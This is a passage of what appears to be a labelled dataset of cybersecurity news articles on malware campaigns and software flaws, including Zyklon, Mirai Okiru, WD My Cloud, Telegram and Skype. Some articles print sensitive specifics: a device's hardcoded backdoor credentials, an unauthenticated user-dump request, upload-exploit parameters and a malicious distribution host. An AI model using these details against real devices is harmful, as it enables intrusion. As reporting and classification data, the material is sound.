PowerShell script, which eventually downloads the final payload, i.e., Zyklon HTTP malware, onto the infected computer. ""In all these techniques, the same domain is used to download the next level payload (Pause.ps1), which is another PowerShell script that is Base64 encoded,"" the FireEye researchers said. ""The Pause.ps1 script is responsible for resolving the APIs required for code injection. It also contains the injectable shellcode."" ""The injected code is responsible for downloading the final payload from the server. The final stage payload is a PE executable compiled with .Net framework."" Interestingly, the PowerShell script connects to a dotless IP address (example: https://3627732942) to download the final payload. What is Dotless IP Address? If you are unaware, dotless IP addresses, sometimes referred as 'Decimal Address,' are decimal values of IPv4 addresses (represented as dotted-quad notation). Almost all modern web browsers resolve decimal IP address to its equivalent IPV4 address when opened with ""https://"" following the decimal value. For example, Google's IP address 216.58.207.206 can also be represented as https://3627732942 in decimal values (Try this online converter). The best way to protect yourself and your organisation from such malware attacks are always to be suspicious of any uninvited document sent via an email and never click on links inside those documents unless adequately verifying the source. Most importantly, always keep your software and systems up-to-date, as threat actors incorporate recently discovered, but patched, vulnerabilities in popular software—Microsoft Office, in this case—to increase the potential for successful infections.",relevant
"New Mirai Okiru Botnet targets devices running widely-used ARC Processors The cybersecurity threat landscape has never been more extensive and is most likely to grow exponentially in 2018. Although the original creators of Mirai DDoS botnet have already been arrested and jailed, the variants of the infamous IoT malware are still in the game due to the availability of its source code on the Internet. Security researchers have spotted a new variant of infamous Mirai IoT malware designed to hijack insecure devices that run on ARC embedded processors. Until now, Mirai and its variants have been targeting CPU architectures—including x86, ARM, Sparc, MIPS, PowerPC and Motorola 6800—deployed in millions of Internet of Things (IoT) devices. New Mirai Okiru Botnet Dubbed Okiru, the new Mirai variant, first spotted by @unixfreaxjp from MalwareMustDie team and notified by independent researcher Odisseus, is a new piece of ELF malware that targets ARC-based embedded devices running Linux operating system. ""This is the FIRST TIME ever in the history of computer engineering that there is a malware for ARC CPU, & it is #MIRAI OKIRU!! Pls be noted of this fact, & be ready for the bigger impact on infection Mirai (specially #Okiru) to devices hasn't been infected yet,"" Odisseus tweeted. ARC (Argonaut RISC Core) embedded processor is the world's second-most-popular CPU core that's being shipped in more than 2 billion products every year, including cameras, mobile, utility meters, televisions, flash drives, automotive and the Internet of Things. mirai-okiru-satori-iot-botnet-malware However, this isn't first Mirai botnet variant based on Linux ELF malware. Mirai also has another ELF-based variant, which was designed to target devices running MIPS and ARM processors. It should also be noted that Okiru, which has previously been also named as Satori IoT botnet (another Mirai variant discovered late last year), is ""very different"" from Satori despite having several similar characteristics, as explained in a Reddit thread. Record-Breaking DDoS? The Calm Before The Storm IoTs are currently being deployed in a large variety of devices throughout your home, businesses, hospitals, and even cities (smart cities), but they're routinely being hacked and used as cyber weapons due to lack of stringent security measures and insecure encryption mechanisms. If you are unaware, the world's largest 1 Tbps DDoS attack so far was launched from just 152,000 infected IoT devices using Mirai botnet, and in a separate attack, just 100,000 devices took down the popular DynDNS service in late 2016. Since Okiru has been ported to target a new range of millions of ""expectedly insecure"" devices running ARC processors, the DDoS attack going to be generated by Okiru botnet would probably be the biggest cyberattack ever. ""From this day, the landscape of #Linux #IoT infection will change. #ARC CPU has produced #IoT devices more than 1 billion per year. So these devices are what the hackers want to aim to infect #ELF #malware with their #DDoS cannons. It's a serious threat will be,"" Odisseus tweeted. The fresh arrival of ARC-based IoT devices into botnet scheme will exponentially raise the number of insecure devices to an unprecedented size, making it easy for hackers to gain control over a large number of poorly configured and vulnerable IoT devices.",relevant
"Critical Flaw Reported In phpMyAdmin Lets Attackers Damage Databases A critical security vulnerability has been reported in phpMyAdmin—one of the most popular applications for managing the MySQL database—which could allow remote attackers to perform dangerous database operations just by tricking administrators into clicking a link. Discovered by an Indian security researcher, Ashutosh Barot, the vulnerability is a cross-site request forgery (CSRF) attack and affects phpMyAdmin versions 4.7.x (prior to 4.7.7). Cross-site request forgery vulnerability, also known as XSRF, is an attack wherein an attacker tricks an authenticated user into executing an unwanted action. According to an advisory released by phpMyAdmin, ""by deceiving a user to click on a crafted URL, it is possible to perform harmful database operations such as deleting records, dropping/truncating tables, etc."" phpMyAdmin is a free and open source administration tool for MySQL and MariaDB and is widely used to manage the database for websites created with WordPress, Joomla, and many other content management platforms. Moreover, a lot of hosting providers use phpMyAdmin to offer their customers a convenient way to organize their databases. Barot has also released a video, as shown above, demonstrating how a remote attacker can make database admins unknowingly delete (DROP) an entire table from the database just by tricking them into clicking a specially crafted link. ""A feature of phpMyAdmin was using a GET request and after that POST request for Database operations such as DROP TABLE table_name; GET requests must be protected against CSRF attacks. In this case, POST requests were used which were sent through URL (for bookmarking purpose may be); it was possible for an attacker to trick a database admin into clicking a button and perform a drop table database query of the attacker's choice."" Barot explains in a blog post. However, performing this attack is not simple as it may sound. To prepare a CSRF attack URL, the attacker should be aware of the name of targeted database and table. ""If a user executes a query on the database by clicking insert, DROP, etc. buttons, the URL will contain database name and table name,"" Barot says. ""This vulnerability can result in the disclosure of sensitive information as the URL is stored at various places such as browser history, SIEM logs, Firewall Logs, ISP Logs, etc."" Barot reported the vulnerability to phpMyAdmin developers, who confirmed his finding and released phpMyAdmin 4.7.7 to address this issue. So administrators are highly recommended to update their installations as soon as possible.",relevant
"Critical Unpatched Flaws Disclosed In Western Digital 'My Cloud' Storage Devices Security researchers have discovered several severe vulnerabilities and a secret hard-coded backdoor in Western Digital's My Cloud NAS devices that could allow remote attackers to gain unrestricted root access to the device. Western Digital's My Cloud (WDMyCloud) is one of the most popular network-attached storage devices which is being used by individuals and businesses to host their files, and automatically backup and sync them with various cloud and web-based services. The device lets users not only share files in a home network, but the private cloud feature also allows them to access their data from anywhere at any time. Since these devices have been designed to be connected over the Internet, the hardcoded backdoor would leave user data open to hackers. GulfTech research and development team has recently published an advisory detailing a hardcoded backdoor and several vulnerabilities it found in WD My Cloud storage devices that could allow remote attackers to inject their own commands and upload and download sensitive files without permission. Noteworthy, James Bercegay of GulfTech contacted the vendor and reported the issues in June last year. The vendor confirmed the vulnerabilities and requested a period of 90 days until full disclosure. On 3rd January (that's almost after 180 days), GulfTech publicly disclosed the details of the vulnerabilities, which are still unpatched. Unrestricted File Upload Flaw Leads to Remote Exploitation As the name suggests, this vulnerability allows a remote attacker to upload an arbitrary file to the server running on the internet-connected vulnerable storage devices. The vulnerability resides in ""multi_uploadify.php"" script due to the wrong implementation of gethostbyaddr() PHP function by the developers. This vulnerability can also be easily exploited to gain a remote shell as root. For this, all an attacker has to do is send a post request containing a file to upload using the parameter Filedata[0]—a location for the file to be uploaded to which is specified within the ""folder"" parameter, and a fake ""Host"" header. The researcher has also written a Metasploit module to exploit this vulnerability. ""The [metasploit] module will use this vulnerability to upload a PHP webshell to the ""/var/www/"" directory. Once uploaded, the webshell can be executed by requesting a URI pointing to the backdoor, and thus triggering the payload,"" the researcher writes. Hard Coded Backdoor Leads to Remote Exploitation Researchers also found the existence of a ""classic backdoor""—with admin username ""mydlinkBRionyg"" and password ""abc12345cba,"" which is hardcoded into the binary and cannot be changed. So, anyone can just log into WD My Cloud devices with these credentials. Also, using this backdoor access, anyone can access the buggy code which is vulnerable to command injection and spawn a root shell. ""The triviality of exploiting this issues makes it very dangerous, and even wormable,"" the researcher notes. ""Not only that, but users locked to a LAN are not safe either."" ""An attacker could literally take over your WDMyCloud by just having you visit a website where an embedded iframe or img tag make a request to the vulnerable device using one of the many predictable default hostnames for the WDMyCloud such as 'wdmycloud' and 'wdmycloudmirror' etc."" Other Vulnerabilities in Western Digital's My Cloud Besides these two above-mentioned critical vulnerabilities, researchers also reported some other below-explained important flaws: Cross-site request forgery: Due to no real XSRF protection within the WD My Cloud web interface, any malicious site can potentially make a victim's web browser connect to a My Cloud device on the network and compromise it. Simply visiting a booby-trapped website would be enough to lose control of your My Cloud device. Command injection: In March last year, a member of the Exploitee.rs team discovered several command injection issues within the WD My Cloud devices, which can be combined with the XSRF flaw to gain complete control (root access) of the affected device. Unfortunately, the GulfTech team also uncovered a few command injection flaws. Denial of Service: Researchers also found that since any unauthenticated user can set the global language preferences for the entire storage device and all of its users, it is possible for an attacker to abuse this functionality to cause a DoS condition to the web interface. Information disclosure: According to researchers, it is possible for an attacker to dump a list of all users, including detailed user information without requiring any authentication, by simply making use of a simple request to the web server like this: GET /api/2.1/rest/users? HTTP/1.1 Affected My Cloud Firmware Versions and Models Western Digital's My Cloud and My Cloud Mirror firmware version 2.30.165 and earlier are affected by all above-reported vulnerabilities. Affected device models include My Cloud Gen 2, My Cloud PR2100, My Cloud PR4100, My Cloud EX2 Ultra, My Cloud EX2, My Cloud EX4, My Cloud EX2100, My Cloud EX4100, My Cloud DL2100 and My Cloud DL4100. Metasploit modules for all the vulnerabilities have been released online.",relevant
"Hackers Can Now Steal Data Even From Faraday Cage Air-Gapped Computers A team of security researchers—which majorly focuses on finding clever ways to get into air-gapped computers by exploiting little-noticed emissions of a computer's components like light, sound and heat—have published another research showcasing that they can steal data not only from an air gap computer but also from a computer inside a Faraday cage. Air-gapped computers are those that are isolated from the Internet and local networks and so, are believed to be the most secure devices that are difficult to infiltrate. Whereas, Faraday cages are metallic enclosures that even blocks all electromagnetic signals, such as Wi-Fi, Bluetooth, cellular and other wireless communications, making any device kept inside the cage, even more, isolate from outside networks. However, Cybersecurity Research Center at Israel's Ben Gurion University, directed by 38-year-old Mordechai Guri, has developed two techniques that helped them exfiltrate data from computers placed inside a Faraday cage. Dubbed MAGNETO [pdf] and ODINI [pdf], both the techniques make use of proof-of-concept (PoC) malware installed on an air-gapped computer inside the Faraday cage to control the ""magnetic fields emanating from the computer by regulating workloads on the CPU cores"" and use it to transmit data stealthily. ""Everyone was talking about breaking the air gap to get in, but no one was talking about getting the information out,"" Guri says. ""That opened the gate to all this research, to break the paradigm that there's a hermetic seal around air-gapped networks."" According to the researcher, once a computer (no matter if it is air-gapped or inside a Faraday cage) has been infected, hackers can exfiltrate stolen data without needing to wait for another traditional connection to the infected machine. How MAGNETO & ODINI Attacks Work: Once a motivated attacker somehow succeeded in planting malware on an air-gapped computer, the malware then collects small pieces of information, like keylogging data, encryption keys, credential tokens, and passwords. Also Read: CIA developed Malware for Hacking Air-Gapped Networks. The PoC malware developed by the team then electrically generates a pattern of magnetic field frequencies by regulating CPU's workload, which can be achieved by overloading the CPU with calculations that increase power consumption and generate a stronger magnetic field. These electromagnetic (acoustic, optical and thermal) emissions from the infected computer are powerful enough to carry a small stream of stolen data to a nearby device, a receiver planted by the hacker. The process involves translating data first into binary, i.e. 0 and 1, and the transmitting it into morse-code-like patterns in accordance with electromagnetic emission. ""The transmitting program leaves only a small footprint in the memory, making its presence easier to hide from AVs. At the OS level, the transmitting program requires no special or elevated privileges (e.g., root or admin), and hence can be initiated from an ordinary userspace process,"" the paper reads. ""The transmitting code mainly consists of basic CPU operations such as busy loops, which do not expose malicious behaviors, making it highly evasive from automated analysis tools."" Also Read: Stealing Data from Air-Gapped Computers Using CCTV Cameras While both MAGNETO and ODINI attacks are designed to exfiltrate data from a secured computer using electromagnetic emissions, the only difference between the two is: MAGNETO is a short-distance attack where an Android app installed on the attacker's smartphone can receive stolen data with the help of phone's magnetometer— a magnetic sensor that can transmit data even if the smartphone is placed inside a Faraday bag or is set to airplane mode. ODINI attack enables attackers to capture electromagnetic signals from a slightly longer range using a dedicated magnetic sensor. In case of MAGNETO, the team managed to achieve only up to 5 bits/sec over a distance of up to 12.5 cm (5 inches), while ODINI is quite more efficient with a maximum transfer rate of 40 bits/sec over a range of 100 to 150 cm (3-5 feet). airgap-computer-hacking Both ODINI and MAGNETO also work if the targeted air-gapped device is inside a Faraday cage, which is designed to block electromagnetic fields, including Bluetooth, Wi-Fi, cellular, and other wireless communications. Researchers suggest three different approaches that can be used to prevent attackers from establishing a covert magnetic channel, i.e., shielding, jamming, and zoning. Video Demonstration of MAGNETO And ODINI Attacks The team published proof-of-concept video demonstrations for both MAGNETO and ODINI attacks, which shows both the attacks in action. It's not the first time Ben-Gurion researchers came up with a covert technique to target air-gapped computers. Their previous research of hacking air-gap computers include: aIR-Jumper attack that steals sensitive information from air-gapped computers with the help of infrared-equipped CCTV cameras that are used for night vision. USBee attack that can be used steal data from air-gapped computers using radio frequency transmissions from USB connectors. DiskFiltration attack that can steal data using sound signals emitted from the hard disk drive (HDD) of the targeted air-gapped computer; BitWhisper that relies on heat exchange between two computer systems to stealthily siphon passwords or security keys; AirHopper that turns a computer's video card into an FM transmitter to capture keystrokes; Fansmitter technique that uses noise emitted by a computer fan to transmit data; and GSMem attack that relies on cellular frequencies.",irrelevant
"Hackers Exploiting 'Bitmessage' Zero-Day to Steal Bitcoin Wallet Keys Bitmessage developers have warned of a critical 'remotely executable' zero-day vulnerability in the PyBitmessage application that was being exploited in the wild. Bitmessage is a Peer-to-Peer (P2P) communications protocol used to send encrypted messages to users. Since it is decentralized and trustless communications, one need-not inherently trust any entities like root certificate authorities. Those who unaware, PyBitmessage is the official client for Bitmessage messaging service. According to Bitmessage developers, a critical zero-day remote code execution vulnerability, described as a message encoding flaw, affects PyBitmessage version 0.6.2 for Linux, Mac, and Windows and has been exploited against some of their users. ""The exploit is triggered by a malicious message if you are the recipient (including joined chans). The attacker ran an automated script but also opened, or tried to open, a remote reverse shell,"" Bitmessage core developer Peter Šurda explained in a Reddit thread. ""The automated script looked in ~/.electrum/wallets [Electrum wallets], but when using the reverse shell, he had access to other files as well. If the attacker transferred your Bitcoins, please contact me (here on Reddit)."" Moreover, hackers also targeted Šurda. Since his Bitmessage addresses were most likely considered to be compromised, he suggested users not to contact him at that address. ""My old Bitmessage addresses are to be considered compromised and not to be used,"" Šurda tweeted. Šurda believes that the attackers exploiting this vulnerability to gain remote access are primarily looking for private keys of Electrum bitcoin wallets stored on the compromised device, using which they could/might have stolen bitcoins. Bitmessage developers have since fixed the vulnerability with the release of new PyBitmessage version 0.6.3.2. So, if you are running an affected version of PyBitmessage, you are highly recommended to upgrade your software to version 0.6.3.2. Since the vulnerability affects PyBitmessage version 0.6.2 and not PyBitmessage 0.6.1, alternatively you can also consider, as suggested by Šurda, downgrading your application to mitigate yourself from potential zero-day attacks. Although the developers did not reveal more details about the critical vulnerability, Šurda advised users to change all their passwords and create new Bitmessage keys, if they have any suspicion of their computers being compromised. Binary files for Windows and OSX are expected to become available on Wednesday. The investigation into these attacks is still ongoing, and we will update this article with more information as it becomes available. Stay Tuned! Stay Safe!",relevant
"Thousands of Government Websites Hacked to Mine Cryptocurrencies There was a time when hackers simply defaced websites to get attention, then they started hijacking them to spread banking trojan and ransomware, and now the trend has shifted towards injecting scripts into sites to mine cryptocurrencies. Thousands of government websites around the world have been found infected with a specific script that secretly forces visitors' computers to mine cryptocurrency for attackers. The cryptocurrency mining script injection found on over 4,000 websites, including those belonging to UK's National Health Service (NHS), the Student Loan Company, and data protection watchdog Information Commissioner's Office (ICO), Queensland legislation, as well as the US government's court system. Users who visited the hacked websites immediately had their computers' processing power hijacked, also known as cryptojacking, to mine cryptocurrency without their knowledge, potentially generating profits for the unknown hacker or group of hackers. It turns out that hackers managed to hijack a popular third-party accessibility plugin called ""Browsealoud,"" used by all these affected websites, and injected their cryptocurrency-mining script into its code. Browsealoud is a popular third-party browser plugin that helps blind and partially-sighted users access the web by converting site text to audio. The script that was inserted into the compromised Browsealoud software belongs to CoinHive—a browser-based Monero mining service that offers website administrators to earn revenue by utilizing CPU resources of visitors. The mining software was found in more than 4,200 websites, including The City University of New York (cuny.edu), Uncle Sam's court information portal (uscourts.gov), the UK's Student Loans Company (slc.co.uk), privacy watchdog The Information Commissioner's Office (ico.org.uk) and the Financial Ombudsman Service (financial-ombudsman.org.uk), UK NHS services, Manchester.gov.uk, NHSinform.scot, agriculture.gov.ie, Croydon.gov.uk, ouh.nhs.uk, legislation.qld.gov.au, the list goes on. The full list of affected websites can be found here. After UK-based infosec consultant Scott Helme raised the alarm about this hack when one of his friends mentioned getting anti-virus alerts on a UK Government website, BrowseAloud's operator Texthelp took down its site to resolve the issue. Here's what Texthelp's chief technology officer Martin McKay said in a blog post: ""In light of other recent cyber attacks all over the world, we have been preparing for such an incident for the last year. Our data security action plan was actioned straight away and was effective, the risk was mitigated for all customers within a period of four hours."" ""Texthelp has in place continuously automated security tests for Browsealoud - these tests detected the modified file, and as a result, the product was taken offline."" This action eventually removed Browsealoud from all websites immediately, addressing the security issue without its customers having to take any action. The company also assured that ""no customer data has been accessed or lost,"" and that its customers will receive a further update as soon as the security investigation gets completed.",relevant
"Cyber Espionage Group Targets Asian Countries With Bitcoin Mining Malware Security researchers have discovered a custom-built piece of malware that's wreaking havoc in Asia for past several months and is capable of performing nasty tasks, like password stealing, bitcoin mining, and providing hackers complete remote access to compromised systems. Dubbed Operation PZChao, the attack campaign discovered by the security researchers at Bitdefender have been targeting organizations in the government, technology, education, and telecommunications sectors in Asia and the United States. Researchers believe nature, infrastructure, and payloads, including variants of the Gh0stRAT trojan, used in the PZChao attacks are reminiscent of the notorious Chinese hacker group—Iron Tiger. However, this campaign has evolved its payloads to drop trojan, conduct cyber espionage and mine Bitcoin cryptocurrency. The PZChao campaign is attacking targets across Asia and the U.S. by using similar attack tactics as of Iron Tiger, which, according to the researchers, signifies the possible return of the notorious Chinese APT group. Since at least July last year, the PZChao campaign has been targeting organizations with a malicious VBS file attachment that delivers via highly-targeted phishing emails. cyber-espionage-malware If executed, the VBS script downloads additional payloads to an affected Windows machine from a distribution server hosting ""down.pzchao.com,"" which resolved to an IP address (125.7.152.55) in South Korea at the time of the investigation. The threat actors behind the attack campaign have control over at least five malicious subdomains of the ""pzchao.com"" domain, and each one is used to serve specific tasks, like download, upload, RAT related actions, malware DLL delivery. The payloads deployed by the threat actors are ""diversified and include capabilities to download and execute additional binary files, collect private information and remotely execute commands on the system,"" researchers noted. The first payload dropped on the compromised machines is a Bitcoin miner, disguised as a 'java.exe' file, that mines cryptocurrency every three weeks at 3 AM, when most people are not in front of their systems. For password stealing, the malware also deploys one of two versions of the Mimikatz password-scraping utility (depending on the operating architecture of the affected machine) to harvest passwords and upload them to the command and control server. PZChao's final payload includes a slightly modified version of Gh0st remote access trojan (RAT) which is designed to act as a backdoor implant and behaves very similar to the versions detected in cyber attacks associated with the Iron Tiger APT group. The Gh0st RAT is equipped with massive cyber-espionage capabilities, including: Real-time and offline remote keystroke logging Listing of all active processes and opened windows Listening in on conversations via microphone Eavesdropping on webcams' live video feed Allowing for remote shutdown and reboot of the system Downloading binaries from the Internet to remote host Modifying and stealing files and more. All of the above capabilities allows a remote attacker to take full control of the compromised system, spy on the victims and exfiltrate confidential data easily. While the tools used in the PZChao campaign are a few years old, ""they are battle-tested and more than suitable for future attacks,"" researchers say. Active since 2010, Iron Tiger, also known as ""Emissary Panda"" or ""Threat Group-3390,"" is a Chinese advanced persistent threat (APT) group that was behind previous campaigns resulting in the theft of massive amounts of data from the directors and managers of US-based defense contractors. Similar to the PZChao campaign, the group also carried out attacks against entities in China, the Philippines, and Tibet, besides attacking targets in the U.S. For further insights, you can read the detailed technical paper [PDF] published by Bitdefender.",irrelevant
"(Unpatched) Adobe Flash Player Zero-Day Exploit Spotted in the Wild Another reason to uninstall Adobe Flash Player—a new zero-day Flash Player exploit has reportedly been spotted in the wild by North Korean hackers. South Korea's Computer Emergency Response Team (KR-CERT) issued an alert Wednesday for a new Flash Player zero-day vulnerability that's being actively exploited in the wild by North Korean hackers to target Windows users in South Korea. Simon Choi of South Korea-based cybersecurity firm Hauri first reported the campaign on Twitter, saying the North Korean hackers have been using the Flash zero-day against South Koreans since mid-November 2017. Although Choi did not share any malware sample or details about the vulnerability, the researcher said the attacks using the new Flash zero-day is aimed at South Korean individuals who focus on researching North Korea. Adobe also released an advisory on Wednesday, which said the zero-day is exploiting a critical 'use-after-free' vulnerability (CVE-2018-4878) in its Flash media software that leads to remote code execution. flash-zero-dy-exploit The critical vulnerability affects Adobe Flash Player version 28.0.0.137 and earlier versions for: Desktop Runtime (Win/Mac/Linux) Google Chrome (Win/Mac/Linux/Chrome OS) Microsoft Edge and Internet Explorer 11 (Win 10 & 8.1) ""Adobe is aware of a report that an exploit for CVE-2018-4878 exists in the wild, and is being used in limited, targeted attacks against Windows users,"" the advisory said. ""These attacks leverage Office documents with embedded malicious Flash content distributed via email. Adobe will address this vulnerability in a release planned for the week of February 5."" To exploit the vulnerability, all an attacker need to do is trick victims into opening Microsoft Office documents, web pages, or spam messages that contain a maliciously crafted Adobe Flash file. The vulnerability can be leveraged by hackers to take control of an affected computer. Choi also posted a screenshot to show that the Flash Player zero-day exploit has been delivered via malicious Microsoft Excel files. Adobe said in its advisory that the company has planned to address this vulnerability in a ""release planned for the week of February 5,"" through KR-CERT advises users to disable or completely remove the buggy software.",relevant
"Critical Flaw in Grammarly Spell Checker Could Let Attackers Steal Your Data A critical vulnerability discovered in the Chrome and Firefox browser extension of the grammar-checking software Grammarly inadvertently left all 22 million users' accounts, including their personal documents and records, vulnerable to remote hackers. According to Google Project Zero researcher Tavis Ormandy, who discovered the vulnerability on February 2, the Chrome and Firefox extension of Grammarly exposed authentication tokens to all websites that could be grabbed by remote attackers with just 4 lines of JavaScript code. In other words, any website a Grammarly user visits could steal his/her authentication tokens, which is enough to login into the user's account and access every ""documents, history, logs, and all other data"" without permission. ""I'm calling this a high severity bug, because it seems like a pretty severe violation of user expectations,"" Ormandy said in a vulnerability report. ""Users would not expect that visiting a website gives it permission to access documents or data they've typed into other websites."" Ormandy has also provided a proof-of-concept (PoC) exploit, which explains how one can easily trigger this serious bug to steal Grammarly user's access token with just four lines of code. grammar-checking-software-hack This high-severity flaw was discovered on Friday and fixed early Monday morning by the Grammarly team, which, according to the researcher, is ""a really impressive response time"" for addressing such bugs. Security updates are now available for both Chrome and Firefox browser extensions, which should get automatically updated without requiring any action by Grammarly users. A Grammarly spokesperson also told in an email that the company has no evidence of users being compromised by this vulnerability. ""Grammarly resolved a security bug reported by Google's Project Zero security researcher, Tavis Ormandy, within hours of its discovery. At this time, Grammarly has no evidence that any user information was compromised by this issue,"" the spokesperson said. ""We're continuing to monitor actively for any unusual activity. The security issue potentially affected text saved in the Grammarly Editor. This bug did not affect the Grammarly Keyboard, the Grammarly Microsoft Office add-in, or any text typed on websites while using the Grammarly browser extension. The bug is fixed, and there is no action required by Grammarly users."" Stay tuned for more updates.",relevant
"Hackers Exploit 'Telegram Messenger' Zero-Day Flaw to Spread Malware A zero-day vulnerability has been discovered in the desktop version for end-to-end encrypted Telegram messaging app that was being exploited in the wild in order to spread malware that mines cryptocurrencies such as Monero and ZCash. The Telegram vulnerability was uncovered by security researcher Alexey Firsh from Kaspersky Lab last October and affects only the Windows client of Telegram messaging software. The flaw has actively been exploited in the wild since at least March 2017 by attackers who tricked victims into downloading malicious software onto their PCs that used their CPU power to mine cryptocurrencies or serve as a backdoor for attackers to remotely control the affected machine, according to a blogpost on Securelist. Here's How Telegram Vulnerability Works The vulnerability resides in the way Telegram Windows client handles the RLO (right-to-left override) Unicode character (U+202E), which is used for coding languages that are written from right to left, like Arabic or Hebrew. According to Kaspersky Lab, the malware creators used a hidden RLO Unicode character in the file name that reversed the order of the characters, thus renaming the file itself, and send it to Telegram users. For example, when an attacker sends a file named ""photo_high_re*U+202E*gnp.js"" in a message to a Telegram user, the file's name rendered on the users' screen flipping the last part. Therefore, the Telegram user will see an incoming PNG image file (as shown in the below image) instead of a JavaScript file, misleading into downloading malicious files disguised as the image. ""As a result, users downloaded hidden malware which was then installed on their computers,"" Kaspersky says in its press release published today. Kaspersky Lab reported the vulnerability to Telegram and the company has since patched the vulnerability in its products, as the Russian security firm said: ""at the time of publication, the zero-day flaw has not since been observed in messenger's products."" Hackers Used Telegram to Infect PCs with Cryptocurrency Miners telegram-vulnerability During the analysis, Kaspersky researchers found several scenarios of zero-day exploitation in the wild by threat actors. Primarily, the flaw was actively exploited to deliver cryptocurrency mining malware, which uses the victim's PC computing power to mine different types of cryptocurrency including Monero, Zcash, Fantomcoin, and others. While analyzing the servers of malicious actors, the researchers also found archives containing a Telegram's local cache that had been stolen from victims. In another case, cybercriminals successfully exploited the vulnerability to install a backdoor trojan that used the Telegram API as a command and control protocol, allowing hackers to gain remote access to the victim's computer. ""After installation, it started to operate in a silent mode, which allowed the threat actor to remain unnoticed in the network and execute different commands including the further installation of spyware tools,"" the firm added. Firsh believes the zero-day vulnerability was exploited only by Russian cybercriminals, as ""all the exploitation cases that [the researchers] detected occurring in Russia,"" and a lot of artifacts pointed towards Russian cybercriminals. The best way to protect yourself from such attacks is not to download or open files from unknown or untrusted sources. The security firm also recommended users to avoid sharing any sensitive personal information in messaging apps and make sure to have a good antivirus software from reliable company installed on your systems.",relevant
"Microsoft Won't Patch a Severe Skype Vulnerability Anytime Soon A serious vulnerability has been discovered in Microsoft-owned most popular free web messaging and voice calling service Skype that could potentially allow attackers to gain full control of the host machine by granting system-level privileges to a local, unprivileged user. The worst part is that this vulnerability will not be patched by Microsoft anytime soon. It's not because the flaw is unpatchable, but because fixing the vulnerability requires a significant software rewrite, which indicates that the company will need to issue an all-new version of Skype rather than just a patch. The vulnerability has been discovered and reported to Microsoft by security researcher Stefan Kanthak and resides in Skype's update installer, which is susceptible to Dynamic Link Libraries (DLL) hijacking. According to the researcher, a potential attacker could exploit the ""functionality of the Windows DLL loader where the process loading the DLL searches for the DLL to be loaded first in the same directory in which the process binary resides and then in other directories."" The exploitation of this preferential search order would allow the attacker to hijack the update process by downloading and placing a malicious version of a DLL file into a temporary folder of a Windows PC and renaming it to match a legitimate DLL that can be modified by an unprivileged user without having any special account privileges. When Skype's update installer tries to find the relevant DLL file, it will find the malicious DLL first, and thereby will install the malicious code. Although Kanthak demonstrated the attack using the Windows version of Skype, he believes the same DLL hijacking method could also work against other operating systems, including Skype versions for macOS and Linux. Kanthak informed Microsoft of the Skype vulnerability back in September, but the company told him that the patch would require the Skype update installer go through ""a large code revision,"" Kanthak told ZDNet. So rather than releasing a security update, Microsoft decided to build an altogether new version of the Skype client that would address the vulnerability. It should be noted that this vulnerability only affects the Skype for the desktop app, which uses its update installer which is vulnerable to the DLL hijacking technique. The Universal Windows Platform (UWP) app version available from the Microsoft Store for Windows 10 PCs is not affected. The vulnerability has been rated as ""medium"" in severity, but Kanthak said, ""the attack could be easily weaponized."" He gave two examples, which have not been released yet. Until the company issues an all-new version of Skype client, users are advised to exercise caution and avoid clicking on attachments provided in an email. Also, make sure you run appropriate and updated anti-virus software that offers some defence against such attacks. This is not the first time Skype has been dealing with a severe security flaw. In June 2017, a critical flaw in Skype was revealed before Microsoft released a fix for the issue that allowed hackers to crash systems and execute malicious code in them. Last month, among several messaging applications, Skype was also dealing with a critical remote code execution vulnerability in Electron—a popular web application framework widely-used in desktop applications.",relevant
"Hacker Who Never Hacked Anyone Gets 33-Month Prison Sentence A hacker who was arrested and pleaded guilty last year—not because he hacked someone, but for creating and selling a remote access trojan that helped cyber criminals—has finally been sentenced to serve almost three years in prison. Taylor Huddleston, 26, of Hot Springs, Arkansas, pleaded guilty in July 2017 to one charge of aiding and abetting computer intrusions by building and intentionally selling a remote access trojan (RAT), called NanoCore, to hackers for $25. Huddleston was arrested in March, almost two months before the FBI raided his house in Hot Springs, Arkansas and left with his computers after 90 minutes, only to return eight weeks later with handcuffs. This case is a rare example of the US Department of Justice (DOJ) charging someone not for actively using malware to hack victims' computers, but for developing and selling it to other cybercriminals. Huddleston admitted to the court that he created his software knowing it would be used by other cybercriminals to break the law. He initially started developing NanoCore in late 2012 with a motive to offer a low-budget remote management software for schools, IT-conscious businesses, and parents who desired to monitor their children's activities on the web. NanoCore-rat-download However, Huddleston marketed and sold the NanoCore RAT for $25 in underground hacking forums that were extremely popular with cybercriminals around the world from January 2014 to February 2016. He then sold ownership of NanoCore to a third-party in 2016. NanoCore RAT happens to be popular among cybercriminals on underground hacking forums and has been linked to intrusions in at least ten countries. Among the victims was a high-profile assault on Middle Eastern energy firms in 2015. Huddleston also agreed with prosecutors that NanoCore RAT and available third-party plugins offered a full set of features including: Stealing sensitive information from victim computers, such as passwords, emails, and instant messages. Remotely activating and controlling connected webcams on the victims' computers in order to spy on them. Ability to view, delete, and download files. Locking infected PCs and holding them to ransom. Using infected PCs to launch distributed denial of service (DDoS) attacks on websites and similar services. In July plea, Huddleston also took responsibility for creating and operating a software licensing system called ""Net Seal"" that was used by another suspect, Zachary Shames, to sell thousands of copies of Limitless keylogger. Shames used Net Seal to infect 3,000 people that were, in turn, used it to infect 16,000 computers, according to the DoJ. In his guilty plea, Huddleston admitted that he intended his products to be used maliciously. Besides the 33-month prison sentence handed down by judges on Friday, Huddleston also gets two years of supervised release.",irrelevant
"Meltdown/Specter-based Malware Coming Soon to Devices Near You, Are You Ready? It has been few weeks since the details of the Spectre, and Meltdown processor vulnerabilities came out in public and researchers have discovered more than 130 malware samples trying to exploit these chip flaws. Spectre and Meltdown are security vulnerabilities disclosed by security researchers earlier this month in many processors from Intel, ARM and AMD used in modern PCs, servers and smartphones, among other devices. These CPU vulnerabilities could enable attackers to bypass memory isolation mechanisms and access everything, including memory allocated for the kernel containing sensitive data like passwords, encryption keys and other private information. Researchers from independent antivirus testing firm AV-TEST detected at least 139 malware samples, as of today, which are related to these CPU vulnerabilities, as shown in the growth graph. You can find SHA256 hashes for all malware samples here. Meltdown Specte Malware Meanwhile, cybersecurity firm Fortinet also tracked and analyzed many malware samples 'trying to exploit' recently disclosed CPU vulnerabilities, most of which includes re-compiled or extended version of the JavaScript-based proof-of-concept (PoC) exploit released last month. ""The rate at which the cybercriminal community is targeting known vulnerabilities is clearly accelerating, with the WannaCry and NotPetya exploits serving as perfect examples of the need to patch vulnerable systems as soon as possible,"" Fortinet said. ""Which is why our concerns were raised when we recently learned about some of the largest vulnerabilities ever reported—ones that affect virtually every processor developed since 1995 by chip manufacturers Intel, AMD, and ARM."" 